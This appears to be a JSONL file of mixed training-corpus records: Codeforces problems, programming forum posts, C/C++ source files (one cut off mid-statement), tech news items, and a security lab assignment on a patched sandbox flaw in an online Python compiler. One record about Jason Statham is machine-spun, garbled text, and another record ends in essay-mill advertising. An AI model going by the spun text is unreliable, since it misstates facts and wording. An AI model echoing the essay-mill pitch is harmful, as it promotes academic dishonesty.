{"text": "Vanya has a table consisting of 100 rows, each row contains 100 cells. The rows are numbered by integers from 1 to 100 from bottom to top, the columns are numbered from 1 to 100 from left to right.\n\nIn this table, Vanya chose n rectangles with sides that go along borders of squares (some rectangles probably occur multiple times). After that for each cell of the table he counted the number of rectangles it belongs to and wrote this number into it. Now he wants to find the sum of values in all cells of the table and as the table is too large, he asks you to help him find the result.", "source": "cpt_codeforces", "language": "en", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Please help me. Can the puma server use gzip compression? If yes, how can i configure it?\nI try to use config/puma.rb file\nbut nothing helped.\nI use: rails 4.0.0, jruby, puma.\nrack deflater will work with puma\nTake a look at this question/answer: Where to insert Rack::Deflater in the rack?\nI think that you should use Nginx or Apache for gzip compression. You can try this link\nPuma will only serve the application. Compression, expiration time and other stuff related to the application files are reverse proxy stuff.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "✎ Jason Statham’s Top 10 Rules for Success. Need inspiration? Watch a Top 10 with Believe Nation! Get a tidbit and bite on the present illustrations from a man who went from contending as a jumper and being an individual from Britain’s public swimming crew for quite a long time, and hustling on the roads selling watches and fragrances, to turning into world’s most popular activity celebrity and most bankable entertainer! He’s Jason Statham and here’s my interpretation of his Top 10 Rules for Success!\n★★★ SECRET BONUS VIDEO ★★★\nWhat is the One Word that is generally imperative to Tony Robbins, Gary Vaynerchuk, will.i.am, Oprah Winfrey, and Howard Schultz? Discover here: http://www.evancarmichael.com/onewordbonusvideo/\n📜 JASON STATHAM’S RULES 📜\n1. Take advantage of your natural abilities\n2. Propel yourself\n3. Be available to new things\n4. Train hand to hand fighting\n6. Love adrenaline\n7. Be a decent legislator\n8. Get insight\n9. Work in an incredible climate\n10. Have a great time\n11. Reward – Make the best of each circumstance\n✈ THREE-POINT LANDING QUESTIONS ✈\n1) What requirements to change in your current circumstance to make it extraordinary?\n2) What little change can you promptly make at the present time?\n3) What’s another change you can make inside the following week?\n✎ More with regards to Jason Statham. He rehearsed kung fu, kickboxing, and karate in his childhood while working at nearby market slows down. He was an energetic jumper and was an individual from Britain’s National Swimming Squad for a long time. His previous expert history working in market slows down motivated his projecting in the Guy Ritchie wrongdoing films. The business accomplishment of his first movies drove him to star as Frank Martin in The Transporter set of three. Subsequent to featuring in an assortment of heist and spine chiller films, he laid down a good foundation for himself as a main entertainer in Hollywood. He has likewise been commended for driving the 2000s and 2010s activity film resurgences. As indicated by a BBC News report, his movie vocation from 2002 to 2017 produced an expected $1.5 billion in ticket deals. All through his movie profession, Statham has consistently played out his own stage battle and tricks. He refers to Stallone, Bruce Lee, Paul Newman, Steve McQueen, and Clint Eastwood as his motivations.\n★ RECOMMENDED VIDEOS FOR YOU ★\nIf you loved this video, you’ll love these ones:\n• Vin Diesel’s Top 10 Rules For Success – https://youtu.be/Xve0MoZ3-EY\n• Dwayne ‘The Rock’ Johnson’s Top 10 Rules For Success – https://youtu.be/yYzBxqYum6I\n• Sylvester Stallone’s Top 10 Rules For Success – https://youtu.be/vZywfAm7Q9E\n❤ HELP TRANSLATE THIS VIDEO ❤\nIf you cherished this video, help individuals in different nations appreciate it too by making subtitles for it. Spread the affection and effect.\n✔ SOURCES ✔\nhttps://youtu.be/Udx8WX116Xs Jim and Sam Show\nhttps://youtu.be/ZZAzgqvOTvU Bonnie Laufer Krebs\nhttps://youtu.be/GTA97S7bJnU Kjersti Flaa\nhttps://youtu.be/C6r0f9YXkx8 SWAY’S UNIVERSE\nhttps://youtu.be/o_zhTIg8fLw Opie Radio\nhttps://youtu.be/GtJvf6ApbEs FUTURE FLIX\nhttps://youtu.be/Z3B7b0Rfjjo AB Network\n♛ BUY MY BOOKS, CHANGE YOUR LIFE ♛\nSome utilized the thoughts in these books to construct multi-billion-dollar organizations. I’ll give you the straightforward yet-incredible equation that they utilized (and you can) to understand your fantasies. Get yours.\n✉ JOIN MY #BELIEVE NEWSLETTER ✉\nThis is the most ideal way of having business person gold conveyed to your inbox, and to be roused, empowered and upheld in your business. Join #BelieveNation and feel the affection.\n⚑ SUBSCRIBE TO MY CHANNEL ⚑\nAssuming you need to do incredible things you wanted to have an extraordinary climate. Make one by subbing and observing every day.\n¿ COMMON QUESTIONS ¿\n• What is #BTA?: https://www.youtube.com/watch?v=BsY8bmTUVP8\n• How would I get one of Evan’s shirts?: https://www.evancarmichael.com/gear\n• Why does Evan look like Nicolas Cage?: https://www.youtube.com/watch?v=gZHRniTcRwo\n• Why does Evan make such countless recordings? https://www.youtube.com/watch?v=NEKxGA8xr1k\n• How would I decide in favor of the following Top 10 video Evan should make?\n• How would I decide in favor of the following #7Ways video Evan should make?\nツ CONNECT WITH ME ツ\nLeave a remark on this video and it’ll get a reaction. Or then again you can associate with me on various social stages as well:\n• Instagram: https://www.instagram.com/evancarmichael/\n• Twitter: https://twitter.com/evancarmichael\n• Facebook: https://www.facebook.com/EvanCarmichaelcom\n• Website: http://www.evancarmichael.com\n– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –\nMuch thanks to you for watching – I truly like it 🙂", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1264, "token_count_with_eod": 1265, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have Dell Dimention 4600 series, Intel Pentium 4 Processor at 2.8GHz, NVidia GeForce FX 5200 graphics card, Windows XP Home Edition.\nI have had this system for about a year.\nI downloaded Service Pack 2 (which has DirectX 9.0c on it).\nI downloaded the latest upgrade for NVidia graphics card (version 77.72) and set the colors to 32 bits.\nNow when I play a video, the colors are screwy and the picture is fuzzy. It looks like certain colors of the spectrum are missing.\n(I haven't tried to play any games like Everquest yet.)\nWhat can I do to fix this? Any ideas?\nThanks in advance", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the hard version of the problem. The only difference is that in this version $$$1 \\le q \\le 10^5$$$. You can make hacks only if both versions of the problem are solved.\n\nThere is a process that takes place on arrays $$$a$$$ and $$$b$$$ of length $$$n$$$ and length $$$n-1$$$ respectively.\n\nThe process is an infinite sequence of operations. Each operation is as follows:\n\n- First, choose a random integer $$$i$$$ ($$$1 \\le i \\le n-1$$$).\n- Then, simultaneously set $$$a_i = \\min\\left(a_i, \\frac{a_i+a_{i+1}-b_i}{2}\\right)$$$ and $$$a_{i+1} = \\max\\left(a_{i+1}, \\frac{a_i+a_{i+1}+b_i}{2}\\right)$$$ without any rounding (so values may become non-integer).\n\nIt can be proven that array $$$a$$$ converges, i. e. for each $$$i$$$ there exists a limit $$$a_i$$$ converges to. Let function $$$F(a, b)$$$ return the value $$$a_1$$$ converges to after a process on $$$a$$$ and $$$b$$$.\n\nYou are given array $$$b$$$, but not array $$$a$$$. However, you are given a third array $$$c$$$. Array $$$a$$$ is good if it contains only integers and satisfies $$$0 \\leq a_i \\leq c_i$$$ for $$$1 \\leq i \\leq n$$$.\n\nYour task is to count the number of good arrays $$$a$$$ where $$$F(a, b) \\geq x$$$ for $$$q$$$ values of $$$x$$$. Since the number of arrays can be very large, print it modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 395, "token_count_with_eod": 396, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Java Advanced Imaging and JAI Image I/O\nSun Microsystems has posted two new projects, Java Advanced Imaging (JAI) and JAI Image I/O Tools to java.net.\nJava Advanced Imaging greatly improves developers’ ability to implement portable image processing applications and its flexible, scalable design meets the demands of the geospatial, medical, commercial, network and government imaging markets.\nJAI Image I/O is an important adjunct to the Java Advanced Imaging API, as it is a pluggable framework for reading, writing and transcoding image data and metadata. Reader-writer plug-ins are supplied for the Bitmap (BMP), Joint Photographic Experts Group (JPEG), Revised Lossless JPEG (JPEG-LS), JPEG2000, Portable Network Graphics (PNG), Portable Anymap (PNM), Uncompressed raw image data (Raw), Tagged Image File Format (TIFF) and Wireless BMP (WBMP) image formats. Additionally a writer plug-in is supplied for the Graphics Interchange Format (GIF). These implementations of readers and writers are important to application developers in the medical, document imaging, and geospatial markets and not available elsewhere in forms compatible with the Java Image I/O Framework.\n“In developing our imaging technologies we have been very focused on managing the ubiquity of imaging, its network-centric aspects and portable image formats,” said Blake Connell, group product marketing manager, Sun Microsystems. “By moving these projects to java.net, we look forward to collaborating with the Java developer community on the cultivation and advancement of this technology. Already there have been breakthrough implementations using JAI, such as the Science Activity Planner for the Mars Exploration Rover. We know that with the input of the entire community the boundaries for JAI are endless.”\nJAI helps global companies take imaging technology to the next level. In addition to its successful role in the Science Activity Planner for the Mars Exploration Rover, JAI is central to the design of Lockheed Martin’s Web-based Electronic Light Table (WebELT). WebELT is the first Java technology client to provide superior viewing capabilities and higher fidelity image resolution from within Mozilla (Firefox), Netscape and Internet Explorer. Additionally, JAI is central to NinJo, a configurable client-server application framework and visualization workstation that uses layers to add special functionalities that process and display a range of meteorological data. Specifically, the visualization pre-processing chain of NinJo heavily depends on the JAI API to load, scale and reproject raster data (remotely sensed imagery such as Landsat, elevation data based on gtopo30, etc.) as tiled images.\nAs a large, vibrant hub for the Java development community — including software vendors, industry associations, universities, individual developers, students and hobbyists — to collaborate on Java technology, java.net continues to experience tremendous growth. Recent successes include surpassing the 115,000 member mark and the new Java 2 Platform, Standard Edition (J2SE) release (code-named “Mustang”) project on java.net, which opened snapshots of the next release to the developer community for early review and developer involvement.\nJavaProNews provides articles, solutions, and practical examples for anyone programming in Java.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 653, "token_count_with_eod": 654, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef MATRIX_META_DATA_INCLUDED\n    \n    #define MATRIX_META_DATA_INCLUDED    \n    \n    #include \"types.h\"\n    #include \"promethee_function_adapter.h\"\n    #include <string>\n    #include <iostream>\n    \n    struct MatrixMetaData{\n        PrometheeFunctionAdapter* function;\n        bool isMax;\n        string name;\n        double weight;\n\n        // TODO\n        \n    };\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 89, "token_count_with_eod": 90, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/****************************************************************************\n**\n** This file is part of the LibreCAD project, a 2D CAD program\n**\n** Copyright (C) 2010 R. van Twisk (librecad@rvt.dds.nl)\n** Copyright (C) 2001-2003 RibbonSoft. All rights reserved.\n**\n**\n** This file may be distributed and/or modified under the terms of the\n** GNU General Public License version 2 as published by the Free Software\n** Foundation and appearing in the file gpl-2.0.txt included in the\n** packaging of this file.\n**\n** This program is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU General Public License for more details.\n**\n** You should have received a copy of the GNU General Public License\n** along with this program; if not, write to the Free Software\n** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n**\n** This copyright notice MUST APPEAR in all copies of the script!\n**\n**********************************************************************/\n\n#ifndef RS_MODIFICATION_H\n#define RS_MODIFICATION_H\n\n#include \"rs_vector.h\"\n#include \"rs_pen.h\"\n#include <QHash>\n\nclass RS_AtomicEntity;\nclass RS_Entity;\nclass RS_EntityContainer;\nclass RS_MText;\nclass RS_Text;\nclass RS_Polyline;\nclass RS_Document;\nclass RS_Graphic;\nclass RS_GraphicView;\n\n/**\n * Holds the data needed for move modifications.\n */\nclass RS_MoveData {\npublic:\n    int number;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector offset;\n};\n\n\n/**\n * Holds the data needed for offset modifications.\n */\nclass RS_OffsetData {\npublic:\n    int number;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector coord;\n    double distance;\n};\n\n/**\n * Holds the data needed for rotation modifications.\n */\nclass RS_RotateData {\npublic:\n    int number;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector center;\n    double angle;\n};\n\n\n\n/**\n * Holds the data needed for scale modifications.\n */\nclass RS_ScaleData {\npublic:\n    int number;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector referencePoint;\n    RS_Vector factor;\n};\n\n\n/**\n * Holds the data needed for mirror modifications.\n */\nclass RS_MirrorData {\npublic:\n    bool copy;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector axisPoint1;\n    RS_Vector axisPoint2;\n};\n\n\n/**\n * Holds the data needed for move/rotate modifications.\n */\nclass RS_MoveRotateData {\npublic:\n    int number;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector referencePoint;\n        RS_Vector offset;\n        double angle;\n};\n\n\n\n/**\n * Holds the data needed for rotation around two centers modifications.\n */\nclass RS_Rotate2Data {\npublic:\n    int number;\n    bool useCurrentAttributes;\n    bool useCurrentLayer;\n    RS_Vector center1;\n    RS_Vector center2;\n    double angle1;\n    double angle2;\n};\n\n\n\n/**\n * Holds the data needed for beveling modifications.\n */\nclass RS_BevelData {\npublic:\n        double length1;\n        double length2;\n        bool trim;\n};\n\n\n\n\n/**\n * Holds the data needed for rounding modifications.\n */\nclass RS_RoundData {\npublic:\n        double radius;\n        bool trim;\n};\n\n\n/**\n * Holds the data needed for moving reference points.\n */\nclass RS_MoveRefData {\npublic:\n        RS_Vector ref;\n    RS_Vector offset;\n};\n\n\n\n/**\n * Holds the data needed for changing attributes.\n */\nclass RS_AttributesData {\npublic:\n        QString layer;\n        RS_Pen pen;\n        bool changeLayer;\n        bool changeColor;\n        bool changeLineType;\n        bool changeWidth;\n};\n\n\n/**\n * Holds the data needed for pasting.\n */\nclass RS_PasteData {\npublic:\n        RS_PasteData(RS_Vector insertionPoint,\n                double factor,\n                double angle,\n                bool asInsert,\n\t\t\t\tconst QString& blockName);\n\n        //! Insertion point.\n        RS_Vector insertionPoint;\n        //! Scale factor.\n        double factor;\n        //! Rotation angle.\n        double angle;\n        //! Paste as an insert rather than individual entities.\n        bool asInsert;\n        //! Name of the block to create or an empty string to assign a new auto name.\n        QString blockName;\n};\n\n\n/**\n * API Class for manipulating entities.\n * There's no interaction handled in this class.\n *\n * All modifications can be undone / redone if the container\n * is a RS_Graphic.\n *\n * This class is connected to an entity container and\n * can be connected to a graphic view.\n *\n * @author Andrew Mustun\n */\nclass RS_Modification {\npublic:\n\tRS_Modification()=delete;\n    RS_Modification(RS_EntityContainer& entityContainer,\n                    RS_GraphicView* graphicView=NULL,\n                                        bool handleUndo=true);\n\n\tvoid remove();\n\tvoid revertDirection();\n\tbool changeAttributes(RS_AttributesData& data);\n    bool changeAttributes(RS_AttributesData& data, RS_EntityContainer* container, std::vector<RS_Entity*> addList);\n\n        void copy(const RS_Vector& ref, const bool cut);\nprivate:\n        void copyEntity(RS_Entity* e, const RS_Vector& ref, const bool cut);\n        void copyLayers(RS_Entity* e);\n        void copyBlocks(RS_Entity* e);\n        bool pasteLayers(RS_Graphic* source);\n        bool pasteContainer(RS_Entity* entity, RS_EntityContainer* container, QHash<QString, QString>blocksDict, RS_Vector insertionPoint);\n        bool pasteEntity(RS_Entity* entity, RS_EntityContainer* container);\npublic:\n        void paste(const RS_PasteData& data, RS_Graphic* source=NULL);\n\n    bool move(RS_MoveData& data);\n    bool rotate(RS_RotateData& data);\n    bool scale(RS_ScaleData& data);\n    bool mirror(RS_MirrorData& data);\n    bool moveRotate(RS_MoveRotateData& data);\n    bool rotate2(RS_Rotate2Data& data);\n\n    bool trim(const RS_Vector& trimCoord, RS_AtomicEntity* trimEntity,\n              const RS_Vector& limitCoord, RS_Entity* limitEntity,\n              bool both);\n    bool trimAmount(const RS_Vector& trimCoord, RS_AtomicEntity* trimEntity,\n                    double dist);\n    bool offset(const RS_OffsetData& data);\n    bool cut(const RS_Vector& cutCoord, RS_AtomicEntity* cutEntity);\n    bool stretch(const RS_Vector& firstCorner,\n                                const RS_Vector& secondCorner,\n                                const RS_Vector& offset);\n\n    bool bevel(const RS_Vector& coord1, RS_AtomicEntity* entity1,\n              const RS_Vector& coord2, RS_AtomicEntity* entity2,\n                          RS_BevelData& data);\n    bool round(const RS_Vector& coord,\n               const RS_Vector& coord1,\n                   RS_AtomicEntity* entity1,\n               const RS_Vector& coord2,\n               RS_AtomicEntity* entity2,\n                           RS_RoundData& data);\n\n        bool explode();\n\t\tbool explodeTextIntoLetters();\n        bool moveRef(RS_MoveRefData& data);\n\n    bool splitPolyline(RS_Polyline& polyline,\n                       RS_Entity& e1, RS_Vector v1,\n                       RS_Entity& e2, RS_Vector v2,\n                       RS_Polyline** polyline1,\n                       RS_Polyline** polyline2) const;\n        RS_Polyline* addPolylineNode(RS_Polyline& polyline,\n                     const RS_AtomicEntity& segment,\n                                 const RS_Vector& node);\n        RS_Polyline* deletePolylineNode(RS_Polyline& polyline,\n                                const RS_Vector& node);\n        RS_Polyline* deletePolylineNodesBetween(RS_Polyline& polyline, RS_AtomicEntity& segment,\n                                const RS_Vector& node1, const RS_Vector& node2);\n        RS_Polyline* polylineTrim(RS_Polyline& polyline,\n                                RS_AtomicEntity& segment1,\n                                RS_AtomicEntity& segment2);\n\nprivate:\n    void deselectOriginals(bool remove);\n\tvoid addNewEntities(std::vector<RS_Entity*>& addList);\n\tbool explodeTextIntoLetters(RS_MText* text, std::vector<RS_Entity*>& addList);\n\tbool explodeTextIntoLetters(RS_Text* text, std::vector<RS_Entity*>& addList);\n\nprotected:\n    RS_EntityContainer* container;\n    RS_Graphic* graphic;\n    RS_Document* document;\n    RS_GraphicView* graphicView;\n        bool handleUndo;\n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 2070, "token_count_with_eod": 2071, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "As a group I would like you to produce a video presentation covering the following topic areas:\n- Goal Setting\n- Attribution Theory\n- Learned Helplessness\nYou need to show factual 'piece to camer's' covering the key points, together with relevant examples of each.\nYou will then present this in class.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 64, "token_count_with_eod": 65, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Have you ever wanted to use \"git\" but not really understood where your files go when you \"git\" them? Do you fully understand what happens when you \"merge commit\"? No, do you? Really?\nWhat if you could get all the benefits of using the command line:\n- Look like a hacker\n- No one will try to bother you\n- Finger workout\n...and also all the benefits of the file browser?:\n- see your entire file history in one place\n- no need to \"switch\" branches, see it all at once\n- Descriptive names like \"File1_real(3).jpg\", much easier to understand than an ugly\nIf you're just an Average Joe who wants to have actual control over your files, try file-fantasy!\nUse the git commands you wish you knew and loved, to produce tangible results all in one folder. If you mess something up really bad, don't bother with\nrebase commands: just open up all the files and delete what you don't need.\nLife is too complicated. Why make it worse? Honest software like this is the future. And it's distributed - just zip up the entire folder, mail it to your coworkers and let them use file-fantasy to pick up where you left off.\nWe're on npm! Check out how to get started at https://github.com/davepagurek/file-fantasy . Run\nnpm install -g @davepagurek/file-fantasy and then run\nff to get started!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 312, "token_count_with_eod": 313, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Microsoft Bolsters CSP with Azure Reserved Instances\nMicrosoft released a new offering through its Cloud Solution Provider (CSP) program on Thursday that could help partners create more cost-effective Microsoft Azure solutions for customers willing to pay upfront.\nAzure was already available through CSP, which is Microsoft's program allowing partners to resell cloud services and other Microsoft products to customers on a subscription basis. The bulk of Microsoft and partner business in CSP is in Office 365, but Microsoft has been steadily adding other products and services to the mix.\nBecause pricing of Azure can be high for customers paying on an as-you-go, monthly basis, Microsoft in March unveiled an Azure Reserved Virtual Machine Instances (RI) option for companies purchasing predictable workloads. Azure RI is a one- or three-year pre-purchase of cloud compute resources, which can be scaled up with an additional payment or scaled down or cancelled with a refund as requirements evolve.\nAccording to Microsoft, the total savings for virtual machines purchased through Azure RI can be as high as 72 percent. In many cases, the single upfront payment yields a lower, but still substantial, discount. In a simple example, according to Microsoft's Azure calculator, a single Ubuntu Linux virtual machine D1 instance would cost $56.21 per month on a pay-as-you-go basis. Paid upfront for a year, the savings would amount to 31 percent, and paid upfront for three years, the savings would come to 56 percent, according to the calculator.\nIn combination with a Software Assurance benefit called Azure Hybrid Benefits, the savings with Azure RI can top 82 percent in the most optimized scenarios.\nMicrosoft Channel Chief Gavriella Schuster on Thursday announced immediate availability of Azure RI through CSP. Schuster also said Windows Server and SQL Server would be coming to CSP later. That will allow cloud partners to provide Azure Hybrid Benefits through CSP, creating a more straightforward licensing scenario or avoiding the need to get another licensing partner involved in the transaction.\nPosted by Scott Bekker on May 10, 2018 at 12:30 PM", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 429, "token_count_with_eod": 430, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Section 1.1 Question 1: 1. What is the difference between a vulnerability and an attack surface? Section 1.2 Vulnerable Sandbox In this Lab, you will analyze a documented vulnerability in an online Python compiler (You will use the same compiler in Lab-6) 1. Navigate to the online Python compiler on https://repl.it/languages/python3. You can type your Python code on the left part; and you can see the compiled code on the right. You run Python from a Linux shell or command prompt on your personal computer, depending on the operating system you use. There must be an underlying operating system that runs the online Python complier. The critical point is whether it has been successfully isolated from the anonymous Internet users or not. 2. As shown in the window below, when you write a simple code and run the compiler, you drop to the operating system’s bash shell that runs the online Python compiler. This vulnerability has been patched. Please dont try it on your computer. Background There are two critical databases for categorizing and tracking vulnerabilities. These are CWE and CVE; the MITRE organization maintains both. CWE stands for Common Weakness Enumeration. CVE stands for Common Vulnerabilities and Exposures. CWE is a category system for software weaknesses and vulnerabilities. It is maintained by a community project to understand flaws in software and create automated tools that can be used to identify, fix, and prevent those underlying flaws (Wikipedia). CWE has nothing to do with the instance of a vulnerability within a product or system; this is where CVE comes in. CVE indexes vulnerabilities of the products or systems, not the underlying flaw. Questions 1. You can explore the list of software CWEs here: https://cwe.mitre.org/data/definitions/699.html Find the category of vulnerability on the online Python compiler. Provide your justifications in a short paragraph. 2. Below is the list of top-25 most dangerous CWEs: https://cwe.mitre.org/data/definitions/1200.html Pick 2 CWEs and find one corresponding CVE for each. (The instance of the flaw described in CWE) You can use the page below to search CVEs: https://cve.mitre.org/cve/search_cve_list.html Provide your justifications in a short paragraph.\nanswered:Fact Sheet on Disability Categories Assignment Instructions\nHow it works\n- Paste your instructins in the instructions box. You can also attach an instructions file\n- Select the writer category, deadline, education level and review the instructions\n- Make a payment for the order to be assignment to a writer\n- Download the paper after the writer uploads it\nWill the writer plagiarize my essay?\nYou will get a plagiarism-free paper and you can get an originality report upon request.\nIs this service safe?\nAll the personal information is confidential and we have 100% safe payment methods. We also guarantee good grades", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "During 2020-2021 winter break\n- Reading papers.\n- Playing with p5js to build web-base math graph sonification app.\nFeb 1, 2021\n- Class started.\nFeb 3, 2021\n- Made this process blog.\n- Got an IRB approval for modification.\n- Started recruiting interview participants - people who are blind, teachers, accessibility services at universies, sonification software providers.\nFeb 4, 2021\n- Updated sonification prototype and publish it on my GitHub Pages.\n- Setting interview schedules.\n- Read some papers\nFeb 5, Friday, 2021\n- Conducted two interviews. My first two interviews for the thesis research ever. It was really fun and learned a lot. I will need to reflect my findings next week.\n- Keep setting interview schedules.\n- Bought a sketchbook :-)\n- Keep editing sonification prototype.\n- Added a moving dot according to the sonification.\nFeb 6-12, 2021\n- Had one quick email interaction with a sonification professional. It was a short exchange but learned a lot!\n- Did reflection of two video chat interviews and an email interview.\n- Keep setting more interview schedules. There are four more on the schedule.\n- I have a feeling that I really need to narrow down one specific thing to focus with sonification, which would be the concept of limit and/or continuity in Calculus. I have to try to start from very minimal. Need to be very selective and prioritize which features to imprement for my sonification.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The famous joke programming language HQ9+ has only 4 commands. In this problem we will explore its subset — a language called HQ...", "source": "cpt_codeforces", "language": "en", "token_count": 28, "token_count_with_eod": 29, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/**\n  ******************************************************************************\n  * @file    lsm6dsr.c\n  * @author  MEMS Software Solutions Team\n  * @brief   LSM6DSR driver file\n  ******************************************************************************\n  * @attention\n  *\n  * <h2><center>&copy; Copyright (c) 2019 STMicroelectronics.\n  * All rights reserved.</center></h2>\n  *\n  * This software component is licensed by ST under BSD 3-Clause license,\n  * the \"License\"; You may not use this file except in compliance with the\n  * License. You may obtain a copy of the License at:\n  *                        opensource.org/licenses/BSD-3-Clause\n  *\n  ******************************************************************************\n  */\n\n/* Includes ------------------------------------------------------------------*/\n#include \"lsm6dsr.h\"\n\n/** @addtogroup BSP BSP\n  * @{\n  */\n\n/** @addtogroup Component Component\n  * @{\n  */\n\n/** @defgroup LSM6DSR LSM6DSR\n  * @{\n  */\n\n/** @defgroup LSM6DSR_Exported_Variables LSM6DSR Exported Variables\n  * @{\n  */\n\nLSM6DSR_CommonDrv_t LSM6DSR_COMMON_Driver =\n{\n  LSM6DSR_Init,\n  LSM6DSR_DeInit,\n  LSM6DSR_ReadID,\n  LSM6DSR_GetCapabilities,\n};\n\nLSM6DSR_ACC_Drv_t LSM6DSR_ACC_Driver =\n{\n  LSM6DSR_ACC_Enable,\n  LSM6DSR_ACC_Disable,\n  LSM6DSR_ACC_GetSensitivity,\n  LSM6DSR_ACC_GetOutputDataRate,\n  LSM6DSR_ACC_SetOutputDataRate,\n  LSM6DSR_ACC_GetFullScale,\n  LSM6DSR_ACC_SetFullScale,\n  LSM6DSR_ACC_GetAxes,\n  LSM6DSR_ACC_GetAxesRaw,\n};\n\nLSM6DSR_GYRO_Drv_t LSM6DSR_GYRO_Driver =\n{\n  LSM6DSR_GYRO_Enable,\n  LSM6DSR_GYRO_Disable,\n  LSM6DSR_GYRO_GetSensitivity,\n  LSM6DSR_GYRO_GetOutputDataRate,\n  LSM6DSR_GYRO_SetOutputDataRate,\n  LSM6DSR_GYRO_GetFullScale,\n  LSM6DSR_GYRO_SetFullScale,\n  LSM6DSR_GYRO_GetAxes,\n  LSM6DSR_GYRO_GetAxesRaw,\n};\n\n/**\n  * @}\n  */\n\n/** @defgroup LSM6DSR_Private_Function_Prototypes LSM6DSR Private Function Prototypes\n  * @{\n  */\n\nstatic int32_t ReadRegWrap(void *Handle, uint8_t Reg, uint8_t *pData, uint16_t Length);\nstatic int32_t WriteRegWrap(void *Handle, uint8_t Reg, uint8_t *pData, uint16_t Length);\nstatic int32_t LSM6DSR_ACC_SetOutputDataRate_When_Enabled(LSM6DSR_Object_t *pObj, float Odr);\nstatic int32_t LSM6DSR_ACC_SetOutputDataRate_When_Disabled(LSM6DSR_Object_t *pObj, float Odr);\nstatic int32_t LSM6DSR_GYRO_SetOutputDataRate_When_Enabled(LSM6DSR_Object_t *pObj, float Odr);\nstatic int32_t LSM6DSR_GYRO_SetOutputDataRate_When_Disabled(LSM6DSR_Object_t *pObj, float Odr);\n\n/**\n  * @}\n  */\n\n/** @defgroup LSM6DSR_Exported_Functions LSM6DSR Exported Functions\n  * @{\n  */\n\n/**\n  * @brief  Register Component Bus IO operations\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_RegisterBusIO(LSM6DSR_Object_t *pObj, LSM6DSR_IO_t *pIO)\n{\n  int32_t ret = LSM6DSR_OK;\n\n  if (pObj == NULL)\n  {\n    ret = LSM6DSR_ERROR;\n  }\n  else\n  {\n    pObj->IO.Init      = pIO->Init;\n    pObj->IO.DeInit    = pIO->DeInit;\n    pObj->IO.BusType   = pIO->BusType;\n    pObj->IO.Address   = pIO->Address;\n    pObj->IO.WriteReg  = pIO->WriteReg;\n    pObj->IO.ReadReg   = pIO->ReadReg;\n    pObj->IO.GetTick   = pIO->GetTick;\n\n    pObj->Ctx.read_reg  = ReadRegWrap;\n    pObj->Ctx.write_reg = WriteRegWrap;\n    pObj->Ctx.handle   = pObj;\n\n    if (pObj->IO.Init == NULL)\n    {\n      ret = LSM6DSR_ERROR;\n    }\n    else if (pObj->IO.Init() != LSM6DSR_OK)\n    {\n      ret = LSM6DSR_ERROR;\n    }\n    else\n    {\n      if (pObj->IO.BusType == LSM6DSR_SPI_3WIRES_BUS) /* SPI 3-Wires */\n      {\n        /* Enable the SPI 3-Wires support only the first time */\n        if (pObj->is_initialized == 0U)\n        {\n          /* Enable SPI 3-Wires on the component */\n          uint8_t data = 0x0C;\n\n          if (LSM6DSR_Write_Reg(pObj, LSM6DSR_CTRL3_C, data) != LSM6DSR_OK)\n          {\n            ret = LSM6DSR_ERROR;\n          }\n        }\n      }\n    }\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Initialize the LSM6DSR sensor\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_Init(LSM6DSR_Object_t *pObj)\n{\n  /* Disable I3C */\n  if (lsm6dsr_i3c_disable_set(&(pObj->Ctx), LSM6DSR_I3C_DISABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable register address automatically incremented during a multiple byte\n  access with a serial interface. */\n  if (lsm6dsr_auto_increment_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable BDU */\n  if (lsm6dsr_block_data_update_set(&(pObj->Ctx), PROPERTY_ENABLE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* FIFO mode selection */\n  if 